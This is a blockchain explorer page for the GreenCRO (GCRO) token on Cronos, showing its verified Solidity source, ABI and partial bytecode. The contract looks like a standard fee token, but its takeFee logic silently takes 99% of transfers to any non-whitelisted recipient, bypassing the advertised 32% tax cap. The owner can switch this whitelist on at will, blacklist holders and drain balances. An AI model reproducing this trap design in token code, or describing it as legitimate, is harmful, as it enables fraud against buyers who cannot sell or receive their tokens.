Token GreenCRO
Overview CRC20
Price
$0.00 @ 0.000000 CRO
Fully Diluted Market Cap
Total Supply:
100,000,000 GCRO
Holders:
262 addresses
Contract:
Decimals:
4
[ Download CSV Export ]
[ Download CSV Export ]
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GREENCRO
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity)
/** *Submitted for verification at cronoscan.com on 2022-04-28 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { require(adr != owner, "OWNER cant be unauthorized"); authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { require(adr != owner, "Already the owner"); authorizations[owner] = false; owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract GREENCRO is IBEP20, Auth { using SafeMath for uint256; address WCRO = 0x5C7F8A570d578ED84E63fdFA7b1eE72dEae1AE23; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "GreenCRO"; string constant _symbol = "GCRO"; uint8 constant _decimals = 4; uint256 _totalSupply = 100 * 10**6 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply / 200; uint256 public _maxWalletToken = _totalSupply / 200; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; bool public blacklistMode = true; mapping (address => bool) public isBlacklisted; bool public whitelistMode = true; mapping (address => bool) public isWhitelisted; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) isWalletLimitExempt; uint256 public liquidityFee = 2; uint256 public marketingFee = 2; uint256 public buybackFee = 6; uint256 public devFee = 1; uint256 public utilityFee = 1; uint256 public totalFee = marketingFee + liquidityFee + buybackFee + utilityFee + devFee; uint256 public constant feeDenominator = 100; uint256 sellMultiplier = 200; uint256 buyMultiplier = 100; uint256 transferMultiplier = 400; address public autoLiquidityReceiver; address public marketingFeeReceiver; address public buybackFeeReceiver; address public utilityFeeReceiver; address public devFeeReceiver; IDEXRouter public router; address public pair; bool public tradingOpen = false; bool public launchMode = true; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 1000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x145677FC4d9b8F19B5D56d1820c48e0443049a30); pair = IDEXFactory(router.factory()).createPair(WCRO, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = 0xa3157AbC4010f641Ac1961ba3dBA187E8b09538F; buybackFeeReceiver = 0xDF10269A68E453F84451382E3e92a2B9689DA3Db; devFeeReceiver = 0x277BdadF7A82Ab1a9C5Cac664abfdF748aFF3486; utilityFeeReceiver = msg.sender; isBlacklisted[buybackFeeReceiver] = true; isFeeExempt[msg.sender] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[DEAD] = true; isTxLimitExempt[ZERO] = true; isTxLimitExempt[marketingFeeReceiver] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[DEAD] = true; isWalletLimitExempt[utilityFeeReceiver] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner { require(maxWallPercent_base1000 >= 1,"Cannot set max wallet less than 0.1%"); _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000; } function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner { require(maxTXPercentage_base1000 >= 1,"Cannot set max transaction less than 0.1%"); _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000; } function setTxLimit(uint256 amount) external authorized { require(amount >= (_totalSupply/1000),"Cannot set max transaction less than 0.1%"); _maxTxAmount = amount; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(!authorizations[sender] && !authorizations[recipient]){ require(tradingOpen,"Trading not open yet"); } if(blacklistMode && recipient != DEAD){ require(!isBlacklisted[sender],"Blacklisted"); } if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) { require((balanceOf(recipient) + amount) <= _maxWalletToken,"max wallet limit reached"); } // Checks max transaction limit require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded"); if(shouldSwapBack()){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { uint256 multiplier = transferMultiplier; if(recipient == pair) { multiplier = sellMultiplier; } else if(sender == pair) { multiplier = buyMultiplier; } uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); if(whitelistMode && !isWhitelisted[recipient]){ feeAmount = amount.mul(99).div(100); } uint256 utilityTokens = feeAmount.mul(utilityFee).div(totalFee); uint256 contractTokens = feeAmount.sub(utilityTokens); if(contractTokens > 0){ _balances[address(this)] = _balances[address(this)].add(contractTokens); emit Transfer(sender, address(this), contractTokens); } if(utilityTokens > 0){ _balances[utilityFeeReceiver] = _balances[utilityFeeReceiver].add(utilityTokens); emit Transfer(sender, utilityFeeReceiver, utilityTokens); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function clearStuckBalance(uint256 amountPercentage) external onlyOwner { uint256 amountBNB = address(this).balance; payable(msg.sender).transfer(amountBNB * amountPercentage / 100); } function clearContractSells(uint256 amountPercentage) external onlyOwner { uint256 tokensInContract = balanceOf(address(this)); uint256 tokenstosell = tokensInContract.mul(amountPercentage).div(100); _basicTransfer(address(this),msg.sender,tokenstosell); } function clearStuckToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { if(tokens == 0){ tokens = IBEP20(tokenAddress).balanceOf(address(this)); } return IBEP20(tokenAddress).transfer(msg.sender, tokens); } function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized { sellMultiplier = _sell; buyMultiplier = _buy; transferMultiplier = _trans; require(totalFee.mul(buyMultiplier).div(100) < 321, "Tax cannot be more than 32%"); require(totalFee.mul(sellMultiplier).div(100) < 321, "Tax cannot be more than 32%"); } // switch Trading function tradingStatus(bool _status) external onlyOwner { if(!_status){ require(launchMode,"Cannot stop trading after launch is done"); } tradingOpen = _status; } function tradingStatus_launchmode(uint256 confirm) external onlyOwner { require(confirm == 123123123,"Accidental Press"); // just paranoid require(tradingOpen,"Cant close launch mode when trading is disabled"); launchMode = false; } function swapBack() internal swapping { uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WCRO; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountBNB = address(this).balance; uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2)); uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2); uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee); uint256 amountBNBbuyback = amountBNB.mul(buybackFee).div(totalBNBFee); uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee); payable(marketingFeeReceiver).transfer(amountBNBMarketing); payable(buybackFeeReceiver).transfer(amountBNBbuyback); payable(devFeeReceiver).transfer(amountBNBDev); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountBNBLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountBNBLiquidity, amountToLiquify); } } function manage_blacklist_status(bool _status) external onlyOwner { if(_status){ require(launchMode,"Cannot turn on blacklistMode after launch is done"); } blacklistMode = _status; } function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner { require(addresses.length < 201,"GAS Error: max limit is 200 addresses"); if(status){ require(launchMode,"Cannot manually blacklist after launch"); } for (uint256 i; i < addresses.length; ++i) { isBlacklisted[addresses[i]] = status; } } function enable_whitelist(bool _status) public onlyOwner { whitelistMode = _status; } function manage_whitelist(address[] calldata addresses, bool status) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { isWhitelisted[addresses[i]] = status; } } function manage_FeeExempt(address[] calldata addresses, bool status) external authorized { require(addresses.length < 501,"GAS Error: max limit is 500 addresses"); for (uint256 i; i < addresses.length; ++i) { isFeeExempt[addresses[i]] = status; } } function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized { require(addresses.length < 501,"GAS Error: max limit is 500 addresses"); for (uint256 i; i < addresses.length; ++i) { isTxLimitExempt[addresses[i]] = status; } } function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized { require(addresses.length < 501,"GAS Error: max limit is 500 addresses"); for (uint256 i; i < addresses.length; ++i) { isWalletLimitExempt[addresses[i]] = status; } } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _buybackFee, uint256 _utilityFee, uint256 _devFee) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; buybackFee = _buybackFee; devFee = _devFee; utilityFee = _utilityFee; totalFee = _liquidityFee + _marketingFee + _buybackFee + _utilityFee + _devFee; require(totalFee.mul(buyMultiplier).div(100) < 321, "Tax cannot be more than 32%"); require(totalFee.mul(sellMultiplier).div(100) < 321, "Tax cannot be more than 32%"); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _buybackFeeReceiver, address _utilityFeeReceiver, address _devFeeReceiver) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; isBlacklisted[buybackFeeReceiver] = false; buybackFeeReceiver = _buybackFeeReceiver; isBlacklisted[buybackFeeReceiver] = true; utilityFeeReceiver = _utilityFeeReceiver; devFeeReceiver = _devFeeReceiver; } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold = _amount; } function setSwapBackSettings_relative(bool _enabled, uint256 _perbase1000) external onlyOwner { require(_perbase1000 <= 50, "Max 5% allowed"); swapEnabled = _enabled; swapThreshold = _totalSupply * _perbase1000 / 1000; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner { require(launchMode,"Cannot execute this after launch is done"); require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses"); require(addresses.length == tokens.length,"Mismatch between Address and token count"); uint256 SCCC = 0; for(uint i=0; i < addresses.length; i++){ SCCC = SCCC + tokens[i]; } require(balanceOf(from) >= SCCC, "Not enough tokens in wallet"); for(uint i=0; i < addresses.length; i++){ _basicTransfer(from,addresses[i],tokens[i]); } } event AutoLiquify(uint256 amountBNB, uint256 amountTokens); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buybackFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buybackFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearContractSells","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_whitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_FeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_TxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_WalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"manage_blacklist_status","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_whitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_buybackFeeReceiver","type":"address"},{"internalType":"address","name":"_utilityFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_buybackFee","type":"uint256"},{"internalType":"uint256","name":"_utilityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_perbase1000","type":"uint256"}],"name":"setSwapBackSettings_relative","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"confirm","type":"uint256"}],"name":"tradingStatus_launchmode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"utilityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"utilityFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"whitelistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600280546001600160a01b0319908116735c7f8a570d578ed84e63fdfa7b1ee72deae1ae231790915560038054821661dead1790556004805490911681556200004f90600a6200053f565b6200005f906305f5e10062000557565b60055560c860055462000073919062000579565b60065560c860055462000087919062000579565b600755600a8054600160ff199182168117909255600c80549091168217905560026011819055601281905560066013819055601483905560158390558291620000d190806200059c565b620000dd91906200059c565b620000e991906200059c565b620000f591906200059c565b60165560c860175560646018556101906019556020805462ffffff60a01b191661010160a81b17905560055462000130906103e89062000579565b6021553480156200014057600080fd5b5060008054336001600160a01b031991821681178355825260016020818152604093849020805460ff1916909217909155601f805473145677fc4d9b8f19b5d56d1820c48e0443049a30931683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa158015620001c7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ed9190620005b7565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af11580156200023f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002659190620005b7565b602080546001600160a01b039283166001600160a01b0319918216178255306000818152600984526040808220601f548716835285528082206000199055601a8054851633908117909155601b8054861673a3157abc4010f641ac1961ba3dba187e8b09538f178155601c8054871673df10269a68e453f84451382e3e92a2b9689da3db179055601e8054871673277bdadf7a82ab1a9c5cac664abfdf748aff3486179055601d8054909616821786557fc43466050e21a9222fe84894df9c0efba6cede424ac2b456497d243d4ab9245d805460ff199081166001908117909255838652600e89528486208054821683179055600f89528486208054821683179055600380548b16875285872080548316841790556004548b168752858720805483168417905592548a168652848620805482168317905583865260108952848620805482168317905595855283852080548716821790559054881684528284208054861682179055945490961682528082208054909316909317909155600554848252600884528282208190559151918252917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620005e2565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004815781600019048211156200046557620004656200042a565b808516156200047357918102915b93841c939080029062000445565b509250929050565b6000826200049a5750600162000539565b81620004a95750600062000539565b8160018114620004c25760028114620004cd57620004ed565b600191505062000539565b60ff841115620004e157620004e16200042a565b50506001821b62000539565b5060208310610133831016604e8410600b841016171562000512575081810a62000539565b6200051e838362000440565b80600019048211156200053557620005356200042a565b0290505b92915050565b60006200055060ff84168362000489565b9392505050565b60008160001904831182151516156200057457620005746200042a565b500290565b6000826200059757634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620005b257620005b26200042a565b500190565b600060208284031215620005ca57600080fd5b81516001600160a01b03811681146200055057600080fd5b6131e680620005f26000396000f3fe6080604052600436106103af5760003560e01c806370c757ec116101e7578063b6a5d7de1161010d578063e1950fa4116100a0578063f887ea401161006f578063f887ea4014610b2f578063fe575a8714610b4f578063fe9fbb8014610b7f578063ffb54a9914610b9f57600080fd5b8063e1950fa414610aaf578063e96fada214610acf578063f0b37c0414610aef578063f2fde38b14610b0f57600080fd5b8063dccd8bd2116100dc578063dccd8bd214610a13578063dd62ed3e14610a29578063df20fd4914610a6f578063e0134a6414610a8f57600080fd5b8063b6a5d7de14610993578063bd9ab537146109b3578063ca33e64c146109d3578063dab84ee7146109f357600080fd5b8063896648c1116101855780639cd1aef1116101545780639cd1aef114610912578063a8aa1b3114610932578063a9059cbb14610952578063b37dd6901461097257600080fd5b8063896648c1146108955780638e2eee84146108af57806395d89b41146108cf57806398118cb4146108fc57600080fd5b80637b13f8c8116101c15780637b13f8c8146108215780637d1db4a51461084157806384b1d1ef14610857578063893d20e81461087757600080fd5b806370c757ec146107d157806377b54bad146107eb57806378109e541461080b57600080fd5b80631da1db5e116102d75780634be9d8691161026a5780636b67c4df116102395780636b67c4df146107445780636ce46bc31461075a5780636ddd17131461077a57806370a082311461079b57600080fd5b80634be9d869146106ce578063571ac8b0146106ee5780635c85974f1461070e5780636827e7641461072e57600080fd5b80632f54bf6e116102a65780632f54bf6e1461063d578063313ce5671461066c5780633af32abf146106885780633b2d081c146106b857600080fd5b80631da1db5e146105d25780631df4ccfc146105f257806323b872dd146106085780632b112e491461062857600080fd5b806309302dc61161034f578063180b0d7e1161031e578063180b0d7e1461056857806318160ddd1461057d57806318abb635146105925780631ca0a28d146105b257600080fd5b806309302dc6146104c0578063095ea7b3146104e05780630d29598014610510578063147284ec1461053057600080fd5b80630445b6671161038b5780630445b6671461041d5780630477e4761461044657806304a66b481461046657806306fdde031461048657600080fd5